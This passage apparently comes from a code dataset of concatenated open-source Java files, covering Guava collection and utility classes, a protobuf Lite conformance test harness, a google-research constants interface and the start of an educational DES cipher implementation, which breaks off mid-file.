* synchronized (queue) { // Must synchronize on queue! * Iterator<E> i = queue.iterator(); // Must be in synchronized block * while (i.hasNext()) { * foo(i.next()); * } * } * }</pre> * * <p>Failure to follow this advice may result in non-deterministic behavior. * * <p>The returned queue will be serializable if the specified queue is serializable. * * @param queue the queue to be wrapped in a synchronized view * @return a synchronized view of the specified queue * @since 14.0 */ public static <E extends @Nullable Object> Queue<E> synchronizedQueue(Queue<E> queue) { return Synchronized.queue(queue, null); } /** * Returns a synchronized (thread-safe) deque backed by the specified deque. In order to guarantee * serial access, it is critical that <b>all</b> access to the backing deque is accomplished * through the returned deque. * * <p>It is imperative that the user manually synchronize on the returned deque when accessing any * of the deque's iterators: * * <pre>{@code * Deque<E> deque = Queues.synchronizedDeque(Queues.<E>newArrayDeque()); * ... * deque.add(element); // Needn't be in synchronized block * ... * synchronized (deque) { // Must synchronize on deque! * Iterator<E> i = deque.iterator(); // Must be in synchronized block * while (i.hasNext()) { * foo(i.next()); * } * } * }</pre> * * <p>Failure to follow this advice may result in non-deterministic behavior. * * <p>The returned deque will be serializable if the specified deque is serializable. * * @param deque the deque to be wrapped in a synchronized view * @return a synchronized view of the specified deque * @since 15.0 */ public static <E extends @Nullable Object> Deque<E> synchronizedDeque(Deque<E> deque) { return Synchronized.deque(deque, null); } }
google/guava
guava/src/com/google/common/collect/Queues.java
370
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file or at // https://developers.google.com/open-source/licenses/bsd import com.google.protobuf.AbstractMessageLite; import com.google.protobuf.ByteString; import com.google.protobuf.CodedInputStream; import com.google.protobuf.ExtensionRegistryLite; import com.google.protobuf.InvalidProtocolBufferException; import com.google.protobuf.MessageLite; import com.google.protobuf.Parser; import com.google.protobuf.conformance.Conformance; import com.google.protobuf_test_messages.edition2023.TestAllTypesEdition2023; import com.google.protobuf_test_messages.edition2023.TestMessagesEdition2023; import com.google.protobuf_test_messages.editions.proto2.TestMessagesProto2Editions; import com.google.protobuf_test_messages.editions.proto3.TestMessagesProto3Editions; import com.google.protobuf_test_messages.proto2.TestMessagesProto2; import com.google.protobuf_test_messages.proto2.TestMessagesProto2.TestAllTypesProto2; import com.google.protobuf_test_messages.proto3.TestMessagesProto3; import com.google.protobuf_test_messages.proto3.TestMessagesProto3.TestAllTypesProto3; import java.nio.ByteBuffer; import java.util.ArrayList; class ConformanceJavaLite { private int testCount = 0; private boolean readFromStdin(byte[] buf, int len) throws Exception { int ofs = 0; while (len > 0) { int read = System.in.read(buf, ofs, len); if (read == -1) { return false; // EOF } ofs += read; len -= read; } return true; } private void writeToStdout(byte[] buf) throws Exception { System.out.write(buf); } // Returns -1 on EOF (the actual values will always be positive). private int readLittleEndianIntFromStdin() throws Exception { byte[] buf = new byte[4]; if (!readFromStdin(buf, 4)) { return -1; } return (buf[0] & 0xff) | ((buf[1] & 0xff) << 8) | ((buf[2] & 0xff) << 16) | ((buf[3] & 0xff) << 24); } private void writeLittleEndianIntToStdout(int val) throws Exception { byte[] buf = new byte[4]; buf[0] = (byte) val; buf[1] = (byte) (val >> 8); buf[2] = (byte) (val >> 16); buf[3] = (byte) (val >> 24); writeToStdout(buf); } private enum BinaryDecoderType { BTYE_STRING_DECODER, BYTE_ARRAY_DECODER, ARRAY_BYTE_BUFFER_DECODER, READONLY_ARRAY_BYTE_BUFFER_DECODER, DIRECT_BYTE_BUFFER_DECODER, READONLY_DIRECT_BYTE_BUFFER_DECODER, INPUT_STREAM_DECODER; } private static class BinaryDecoder<T extends MessageLite> { public T decode( ByteString bytes, BinaryDecoderType type, Parser<T> parser, ExtensionRegistryLite extensions) throws InvalidProtocolBufferException { switch (type) { case BTYE_STRING_DECODER: case BYTE_ARRAY_DECODER: return parser.parseFrom(bytes, extensions); case ARRAY_BYTE_BUFFER_DECODER: { ByteBuffer buffer = ByteBuffer.allocate(bytes.size()); bytes.copyTo(buffer); buffer.flip(); return parser.parseFrom(CodedInputStream.newInstance(buffer), extensions); } case READONLY_ARRAY_BYTE_BUFFER_DECODER: { return parser.parseFrom( CodedInputStream.newInstance(bytes.asReadOnlyByteBuffer()), extensions); } case DIRECT_BYTE_BUFFER_DECODER: { ByteBuffer buffer = ByteBuffer.allocateDirect(bytes.size()); bytes.copyTo(buffer); buffer.flip(); return parser.parseFrom(CodedInputStream.newInstance(buffer), extensions); } case READONLY_DIRECT_BYTE_BUFFER_DECODER: { ByteBuffer buffer = ByteBuffer.allocateDirect(bytes.size()); bytes.copyTo(buffer); buffer.flip(); return parser.parseFrom( CodedInputStream.newInstance(buffer.asReadOnlyBuffer()), extensions); } case INPUT_STREAM_DECODER: { return parser.parseFrom(bytes.newInput(), extensions); } } return null; } } private <T extends MessageLite> T parseBinary( ByteString bytes, Parser<T> parser, ExtensionRegistryLite extensions) throws InvalidProtocolBufferException { ArrayList<T> messages = new ArrayList<>(); ArrayList<InvalidProtocolBufferException> exceptions = new ArrayList<>(); for (int i = 0; i < BinaryDecoderType.values().length; i++) { messages.add(null); exceptions.add(null); } if (messages.isEmpty()) { throw new RuntimeException("binary decoder types missing"); } BinaryDecoder<T> decoder = new BinaryDecoder<>(); boolean hasMessage = false; boolean hasException = false; for (int i = 0; i < BinaryDecoderType.values().length; ++i) { try { messages.set(i, decoder.decode(bytes, BinaryDecoderType.values()[i], parser, extensions)); hasMessage = true; } catch (InvalidProtocolBufferException e) { exceptions.set(i, e); hasException = true; } } if (hasMessage && hasException) { StringBuilder sb = new StringBuilder("Binary decoders disagreed on whether the payload was valid.\n"); for (int i = 0; i < BinaryDecoderType.values().length; ++i) { sb.append(BinaryDecoderType.values()[i].name()); if (messages.get(i) != null) { sb.append(" accepted the payload.\n"); } else { sb.append(" rejected the payload.\n"); } } throw new RuntimeException(sb.toString()); } if (hasException) { // We do not check if exceptions are equal. Different implementations may return different // exception messages. Throw an arbitrary one out instead. InvalidProtocolBufferException exception = null; for (InvalidProtocolBufferException e : exceptions) { if (exception != null) { exception.addSuppressed(e); } else { exception = e; } } throw exception; } // Fast path comparing all the messages with the first message, assuming equality being // symmetric and transitive. boolean allEqual = true; for (int i = 1; i < messages.size(); ++i) { if (!messages.get(0).equals(messages.get(i))) { allEqual = false; break; } } // Slow path: compare and find out all unequal pairs. if (!allEqual) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < messages.size() - 1; ++i) { for (int j = i + 1; j < messages.size(); ++j) { if (!messages.get(i).equals(messages.get(j))) { sb.append(BinaryDecoderType.values()[i].name()) .append(" and ") .append(BinaryDecoderType.values()[j].name()) .append(" parsed the payload differently.\n"); } } } throw new RuntimeException(sb.toString()); } return messages.get(0); } private Class<? extends AbstractMessageLite> createTestMessage(String messageType) { switch (messageType) { case "protobuf_test_messages.proto3.TestAllTypesProto3": return TestAllTypesProto3.class; case "protobuf_test_messages.proto2.TestAllTypesProto2": return TestAllTypesProto2.class; case "protobuf_test_messages.editions.TestAllTypesEdition2023": return TestAllTypesEdition2023.class; case "protobuf_test_messages.editions.proto3.TestAllTypesProto3": return TestMessagesProto3Editions.TestAllTypesProto3.class; case "protobuf_test_messages.editions.proto2.TestAllTypesProto2": return TestMessagesProto2Editions.TestAllTypesProto2.class; default: throw new IllegalArgumentException( "Protobuf request has unexpected payload type: " + messageType); } } private Class<?> createTestFile(String messageType) { switch (messageType) { case "protobuf_test_messages.proto3.TestAllTypesProto3": return TestMessagesProto3.class; case "protobuf_test_messages.proto2.TestAllTypesProto2": return TestMessagesProto2.class; case "protobuf_test_messages.editions.TestAllTypesEdition2023": return TestMessagesEdition2023.class; case "protobuf_test_messages.editions.proto3.TestAllTypesProto3": return TestMessagesProto3Editions.class; case "protobuf_test_messages.editions.proto2.TestAllTypesProto2": return TestMessagesProto2Editions.class; default: throw new IllegalArgumentException( "Protobuf request has unexpected payload type: " + messageType); } } @SuppressWarnings("unchecked") private Conformance.ConformanceResponse doTest(Conformance.ConformanceRequest request) { com.google.protobuf.MessageLite testMessage; String messageType = request.getMessageType(); switch (request.getPayloadCase()) { case PROTOBUF_PAYLOAD: { try { ExtensionRegistryLite extensions = ExtensionRegistryLite.newInstance(); createTestFile(messageType) .getMethod("registerAllExtensions", ExtensionRegistryLite.class) .invoke(null, extensions); testMessage = parseBinary( request.getProtobufPayload(), (Parser<AbstractMessageLite>) createTestMessage(messageType).getMethod("parser").invoke(null), extensions); } catch (InvalidProtocolBufferException e) { return Conformance.ConformanceResponse.newBuilder() .setParseError(e.getMessage()) .build(); } catch (Exception e) { throw new RuntimeException(e); } break; } case JSON_PAYLOAD: { return Conformance.ConformanceResponse.newBuilder() .setSkipped("Lite runtime does not support JSON format.") .build(); } case TEXT_PAYLOAD: { return Conformance.ConformanceResponse.newBuilder() .setSkipped("Lite runtime does not support Text format.") .build(); } case PAYLOAD_NOT_SET: { throw new RuntimeException("Request didn't have payload."); } default: { throw new RuntimeException("Unexpected payload case."); } } switch (request.getRequestedOutputFormat()) { case UNSPECIFIED: throw new RuntimeException("Unspecified output format."); case PROTOBUF: return Conformance.ConformanceResponse.newBuilder() .setProtobufPayload(testMessage.toByteString()) .build(); case JSON: return Conformance.ConformanceResponse.newBuilder() .setSkipped("Lite runtime does not support JSON format.") .build(); case TEXT_FORMAT: return Conformance.ConformanceResponse.newBuilder() .setSkipped("Lite runtime does not support Text format.") .build(); default: { throw new RuntimeException("Unexpected request output."); } } } private boolean doTestIo() throws Exception { int bytes = readLittleEndianIntFromStdin(); if (bytes == -1) { return false; // EOF } byte[] serializedInput = new byte[bytes]; if (!readFromStdin(serializedInput, bytes)) { throw new RuntimeException("Unexpected EOF from test program."); } Conformance.ConformanceRequest request = Conformance.ConformanceRequest.parseFrom(serializedInput); Conformance.ConformanceResponse response = doTest(request); byte[] serializedOutput = response.toByteArray(); writeLittleEndianIntToStdout(serializedOutput.length); writeToStdout(serializedOutput); return true; } public void run() throws Exception { while (doTestIo()) { this.testCount++; } System.err.println( "ConformanceJavaLite: received EOF from test runner after " + this.testCount + " tests"); } public static void main(String[] args) throws Exception { new ConformanceJavaLite().run(); } }
protocolbuffers/protobuf
conformance/ConformanceJavaLite.java
371
import java.text.DecimalFormat; import java.util.Random; interface Debuggable { static DecimalFormat DF6 = new DecimalFormat("#0.000000"); static DecimalFormat DF8 = new DecimalFormat("#0.00000000"); static DecimalFormat DF = new DecimalFormat("#0.0000"); static DecimalFormat DF0 = new DecimalFormat("#0.00"); static DecimalFormat DF1 = new DecimalFormat("#0.0"); static boolean Debug = false; // variables used to optimize a bit space + time static boolean SAVE_MEMORY = true; static double EPS = 1E-4; static double EPS2 = 1E-5; static double EPS3 = 1E-10; public static int NUMBER_STRATIFIED_CV = 10; public static double TOO_BIG_RATIO = 100.0; public static double INITIAL_FAN_ANGLE = Math.PI; public static double GRANDCHILD_FAN_RATIO = 0.8; public static boolean SAVE_PARAMETERS_DURING_TRAINING = true; public static boolean SAVE_CLASSIFIERS = true; }
google-research/google-research
tempered_boosting/Misc.java
374
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.collect; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.BoundType.CLOSED; import static com.google.common.collect.BoundType.OPEN; import static com.google.common.collect.NullnessCasts.uncheckedCastNullableTToT; import com.google.common.annotations.GwtCompatible; import com.google.common.base.Objects; import com.google.errorprone.annotations.concurrent.LazyInit; import java.io.Serializable; import java.util.Comparator; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * A generalized interval on any ordering, for internal use. Supports {@code null}. Unlike {@link * Range}, this allows the use of an arbitrary comparator. This is designed for use in the * implementation of subcollections of sorted collection types. * * <p>Whenever possible, use {@code Range} instead, which is better supported. * * @author Louis Wasserman */ @GwtCompatible(serializable = true) @ElementTypesAreNonnullByDefault final class GeneralRange<T extends @Nullable Object> implements Serializable { /** Converts a Range to a GeneralRange. */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 static <T extends Comparable> GeneralRange<T> from(Range<T> range) { T lowerEndpoint = range.hasLowerBound() ? range.lowerEndpoint() : null; BoundType lowerBoundType = range.hasLowerBound() ? range.lowerBoundType() : OPEN; T upperEndpoint = range.hasUpperBound() ? range.upperEndpoint() : null; BoundType upperBoundType = range.hasUpperBound() ? range.upperBoundType() : OPEN; return new GeneralRange<>( Ordering.natural(), range.hasLowerBound(), lowerEndpoint, lowerBoundType, range.hasUpperBound(), upperEndpoint, upperBoundType); } /** Returns the whole range relative to the specified comparator. */ static <T extends @Nullable Object> GeneralRange<T> all(Comparator<? super T> comparator) { return new GeneralRange<>(comparator, false, null, OPEN, false, null, OPEN); } /** * Returns everything above the endpoint relative to the specified comparator, with the specified * endpoint behavior. */ static <T extends @Nullable Object> GeneralRange<T> downTo( Comparator<? super T> comparator, @ParametricNullness T endpoint, BoundType boundType) { return new GeneralRange<>(comparator, true, endpoint, boundType, false, null, OPEN); } /** * Returns everything below the endpoint relative to the specified comparator, with the specified * endpoint behavior. */ static <T extends @Nullable Object> GeneralRange<T> upTo( Comparator<? super T> comparator, @ParametricNullness T endpoint, BoundType boundType) { return new GeneralRange<>(comparator, false, null, OPEN, true, endpoint, boundType); } /** * Returns everything between the endpoints relative to the specified comparator, with the * specified endpoint behavior. */ static <T extends @Nullable Object> GeneralRange<T> range( Comparator<? super T> comparator, @ParametricNullness T lower, BoundType lowerType, @ParametricNullness T upper, BoundType upperType) { return new GeneralRange<>(comparator, true, lower, lowerType, true, upper, upperType); } private final Comparator<? super T> comparator; private final boolean hasLowerBound; @CheckForNull private final T lowerEndpoint; private final BoundType lowerBoundType; private final boolean hasUpperBound; @CheckForNull private final T upperEndpoint; private final BoundType upperBoundType; private GeneralRange( Comparator<? super T> comparator, boolean hasLowerBound, @CheckForNull T lowerEndpoint, BoundType lowerBoundType, boolean hasUpperBound, @CheckForNull T upperEndpoint, BoundType upperBoundType) { this.comparator = checkNotNull(comparator); this.hasLowerBound = hasLowerBound; this.hasUpperBound = hasUpperBound; this.lowerEndpoint = lowerEndpoint; this.lowerBoundType = checkNotNull(lowerBoundType); this.upperEndpoint = upperEndpoint; this.upperBoundType = checkNotNull(upperBoundType); // Trigger any exception that the comparator would throw for the endpoints. /* * uncheckedCastNullableTToT is safe as long as the callers are careful to pass a "real" T * whenever they pass `true` for the matching `has*Bound` parameter. */ if (hasLowerBound) { int unused = comparator.compare( uncheckedCastNullableTToT(lowerEndpoint), uncheckedCastNullableTToT(lowerEndpoint)); } if (hasUpperBound) { int unused = comparator.compare( uncheckedCastNullableTToT(upperEndpoint), uncheckedCastNullableTToT(upperEndpoint)); } if (hasLowerBound && hasUpperBound) { int cmp = comparator.compare( uncheckedCastNullableTToT(lowerEndpoint), uncheckedCastNullableTToT(upperEndpoint)); // be consistent with Range checkArgument( cmp <= 0, "lowerEndpoint (%s) > upperEndpoint (%s)", lowerEndpoint, upperEndpoint); if (cmp == 0) { checkArgument(lowerBoundType != OPEN || upperBoundType != OPEN); } } } Comparator<? super T> comparator() { return comparator; } boolean hasLowerBound() { return hasLowerBound; } boolean hasUpperBound() { return hasUpperBound; } boolean isEmpty() { // The casts are safe because of the has*Bound() checks. return (hasUpperBound() && tooLow(uncheckedCastNullableTToT(getUpperEndpoint()))) || (hasLowerBound() && tooHigh(uncheckedCastNullableTToT(getLowerEndpoint()))); } boolean tooLow(@ParametricNullness T t) { if (!hasLowerBound()) { return false; } // The cast is safe because of the hasLowerBound() check. T lbound = uncheckedCastNullableTToT(getLowerEndpoint()); int cmp = comparator.compare(t, lbound); return cmp < 0 | (cmp == 0 & getLowerBoundType() == OPEN); } boolean tooHigh(@ParametricNullness T t) { if (!hasUpperBound()) { return false; } // The cast is safe because of the hasUpperBound() check. T ubound = uncheckedCastNullableTToT(getUpperEndpoint()); int cmp = comparator.compare(t, ubound); return cmp > 0 | (cmp == 0 & getUpperBoundType() == OPEN); } boolean contains(@ParametricNullness T t) { return !tooLow(t) && !tooHigh(t); } /** * Returns the intersection of the two ranges, or an empty range if their intersection is empty. */ @SuppressWarnings("nullness") // TODO(cpovirk): Add casts as needed. Will be noisy and annoying... GeneralRange<T> intersect(GeneralRange<T> other) { checkNotNull(other); checkArgument(comparator.equals(other.comparator)); boolean hasLowBound = this.hasLowerBound; T lowEnd = getLowerEndpoint(); BoundType lowType = getLowerBoundType(); if (!hasLowerBound()) { hasLowBound = other.hasLowerBound; lowEnd = other.getLowerEndpoint(); lowType = other.getLowerBoundType(); } else if (other.hasLowerBound()) { int cmp = comparator.compare(getLowerEndpoint(), other.getLowerEndpoint()); if (cmp < 0 || (cmp == 0 && other.getLowerBoundType() == OPEN)) { lowEnd = other.getLowerEndpoint(); lowType = other.getLowerBoundType(); } } boolean hasUpBound = this.hasUpperBound; T upEnd = getUpperEndpoint(); BoundType upType = getUpperBoundType(); if (!hasUpperBound()) { hasUpBound = other.hasUpperBound; upEnd = other.getUpperEndpoint(); upType = other.getUpperBoundType(); } else if (other.hasUpperBound()) { int cmp = comparator.compare(getUpperEndpoint(), other.getUpperEndpoint()); if (cmp > 0 || (cmp == 0 && other.getUpperBoundType() == OPEN)) { upEnd = other.getUpperEndpoint(); upType = other.getUpperBoundType(); } } if (hasLowBound && hasUpBound) { int cmp = comparator.compare(lowEnd, upEnd); if (cmp > 0 || (cmp == 0 && lowType == OPEN && upType == OPEN)) { // force allowed empty range lowEnd = upEnd; lowType = OPEN; upType = CLOSED; } } return new GeneralRange<>(comparator, hasLowBound, lowEnd, lowType, hasUpBound, upEnd, upType); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof GeneralRange) { GeneralRange<?> r = (GeneralRange<?>) obj; return comparator.equals(r.comparator) && hasLowerBound == r.hasLowerBound && hasUpperBound == r.hasUpperBound && getLowerBoundType().equals(r.getLowerBoundType()) && getUpperBoundType().equals(r.getUpperBoundType()) && Objects.equal(getLowerEndpoint(), r.getLowerEndpoint()) && Objects.equal(getUpperEndpoint(), r.getUpperEndpoint()); } return false; } @Override public int hashCode() { return Objects.hashCode( comparator, getLowerEndpoint(), getLowerBoundType(), getUpperEndpoint(), getUpperBoundType()); } @LazyInit @CheckForNull private transient GeneralRange<T> reverse; /** Returns the same range relative to the reversed comparator. */ GeneralRange<T> reverse() { GeneralRange<T> result = reverse; if (result == null) { result = new GeneralRange<>( Ordering.from(comparator).reverse(), hasUpperBound, getUpperEndpoint(), getUpperBoundType(), hasLowerBound, getLowerEndpoint(), getLowerBoundType()); result.reverse = this; return this.reverse = result; } return result; } @Override public String toString() { return comparator + ":" + (lowerBoundType == CLOSED ? '[' : '(') + (hasLowerBound ? lowerEndpoint : "-\u221e") + ',' + (hasUpperBound ? upperEndpoint : "\u221e") + (upperBoundType == CLOSED ? ']' : ')'); } @CheckForNull T getLowerEndpoint() { return lowerEndpoint; } BoundType getLowerBoundType() { return lowerBoundType; } @CheckForNull T getUpperEndpoint() { return upperEndpoint; } BoundType getUpperBoundType() { return upperBoundType; } }
google/guava
guava/src/com/google/common/collect/GeneralRange.java
375
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.base; import com.google.common.annotations.GwtCompatible; import java.util.Arrays; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Helper functions that can operate on any {@code Object}. * * <p>See the Guava User Guide on <a * href="https://github.com/google/guava/wiki/CommonObjectUtilitiesExplained">writing {@code Object} * methods with {@code Objects}</a>. * * @author Laurence Gonsalves * @since 2.0 */ @GwtCompatible @ElementTypesAreNonnullByDefault public final class Objects extends ExtraObjectsMethodsForWeb { private Objects() {} /** * Determines whether two possibly-null objects are equal. Returns: * * <ul> * <li>{@code true} if {@code a} and {@code b} are both null. * <li>{@code true} if {@code a} and {@code b} are both non-null and they are equal according to * {@link Object#equals(Object)}. * <li>{@code false} in all other situations. * </ul> * * <p>This assumes that any non-null objects passed to this function conform to the {@code * equals()} contract. * * <p><b>Java 7+ users:</b> This method should be treated as deprecated; use {@link * java.util.Objects#equals} instead. */ public static boolean equal(@CheckForNull Object a, @CheckForNull Object b) { return a == b || (a != null && a.equals(b)); } /** * Generates a hash code for multiple values. The hash code is generated by calling {@link * Arrays#hashCode(Object[])}. Note that array arguments to this method, with the exception of a * single Object array, do not get any special handling; their hash codes are based on identity * and not contents. * * <p>This is useful for implementing {@link Object#hashCode()}. For example, in an object that * has three properties, {@code x}, {@code y}, and {@code z}, one could write: * * <pre>{@code * public int hashCode() { * return Objects.hashCode(getX(), getY(), getZ()); * } * }</pre> * * <p><b>Warning:</b> When a single object is supplied, the returned hash code does not equal the * hash code of that object. * * <p><b>Java 7+ users:</b> This method should be treated as deprecated; use {@link * java.util.Objects#hash} instead. */ public static int hashCode(@CheckForNull @Nullable Object... objects) { return Arrays.hashCode(objects); } }
google/guava
android/guava/src/com/google/common/base/Objects.java
376
package com.thealgorithms.ciphers; /** * This class is build to demonstrate the application of the DES-algorithm * (https://en.wikipedia.org/wiki/Data_Encryption_Standard) on a plain English message. The supplied * key must be in form of a 64 bit binary String. */ public class DES { private String key; private String[] subKeys; private void sanitize(String key) { int length = key.length(); if (length != 64) { throw new IllegalArgumentException("DES key must be supplied as a 64 character binary string"); } } DES(String key) { sanitize(key); this.key = key; subKeys = getSubkeys(key); } public String getKey() { return this.key; } public void setKey(String key) { sanitize(key); this.key = key; } // Permutation table to convert initial 64 bit key to 56 bit key private static int[] PC1 = {57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4}; // Lookup table used to shift the initial key, in order to generate the subkeys private static int[] KEY_SHIFTS = {1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1}; // Table to convert the 56 bit subkeys to 48 bit subkeys private static int[] PC2 = {14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32}; // Initial permutatation of each 64 but message block private static int[] IP = {58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7}; // Expansion table to convert right half of message blocks from 32 bits to 48 bits private static int[] expansion = {32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1}; // The eight substitution boxes are defined below private static int[][] s1 = {{14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7}, {0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8}, {4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0}, {15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13}}; private static int[][] s2 = {{15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10}, {3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5}, {0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15}, {13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9}}; private static int[][] s3 = {{10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8}, {13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1}, {13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7}, {1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12}}; private static int[][] s4 = {{7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15}, {13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9}, {10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4}, {3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14}}; private static int[][] s5 = {{2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9}, {14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6}, {4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14}, {11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3}}; private static int[][] s6 = {{12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11}, {10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8}, {9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6}, {4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13}}; private static int[][] s7 = {{4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1}, {13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6}, {1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2}, {6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12}}; private static int[][] s8 = {{13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7}, {1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2}, {7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8}, {2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11}}; private static int[][][] s = {s1, s2, s3, s4, s5, s6, s7, s8}; // Permutation table, used in the feistel function post s-box usage static int[] permutation = {16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25}; // Table used for final inversion of the message box after 16 rounds of Feistel Function static int[] IPinverse = {40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25}; private String[] getSubkeys(String originalKey) { StringBuilder permutedKey = new StringBuilder(); // Initial permutation of keys via PC1 int i, j; for (i = 0; i < 56; i++) { permutedKey.append(originalKey.charAt(PC1[i] - 1)); } String[] subKeys = new String[16]; String initialPermutedKey = permutedKey.toString(); String C0 = initialPermutedKey.substring(0, 28), D0 = initialPermutedKey.substring(28); // We will now operate on the left and right halves of the permutedKey for (i = 0; i < 16; i++) { String Cn = C0.substring(KEY_SHIFTS[i]) + C0.substring(0, KEY_SHIFTS[i]); String Dn = D0.substring(KEY_SHIFTS[i]) + D0.substring(0, KEY_SHIFTS[i]); subKeys[i] = Cn + Dn; C0 = Cn; // Re-assign the values to create running permutation D0 = Dn; } // Let us shrink the keys to 48 bits (well, characters here) using PC2 for (i = 0; i < 16; i++) { String key = subKeys[i]; permutedKey.setLength(0); for (j = 0; j < 48; j++) { permutedKey.append(key.charAt(PC2[j] - 1)); } subKeys[i] = permutedKey.toString(); } return subKeys; } private String XOR(String a, String b) { int i, l = a.length(); StringBuilder xor = new StringBuilder(); for (i = 0; i < l; i++) { int firstBit = a.charAt(i) - 48; // 48 is '0' in ascii int secondBit = b.charAt(i) - 48; xor.append((firstBit ^ secondBit)); } return xor.toString(); } private String createPaddedString(String s, int desiredLength, char pad) { int i, l = s.length(); StringBuilder paddedString = new StringBuilder(); int diff = desiredLength - l; for (i = 0; i < diff; i++) { paddedString.append(pad); } return paddedString.toString(); } private String pad(String s, int desiredLength) { return createPaddedString(s, desiredLength, '0') + s; } private String padLast(String s, int desiredLength) { return s + createPaddedString(s, desiredLength, '\u0000'); } private String feistel(String messageBlock, String key) { int i; StringBuilder expandedKey = new StringBuilder(); for (i = 0; i < 48; i++) { expandedKey.append(messageBlock.charAt(expansion[i] - 1)); } String mixedKey = 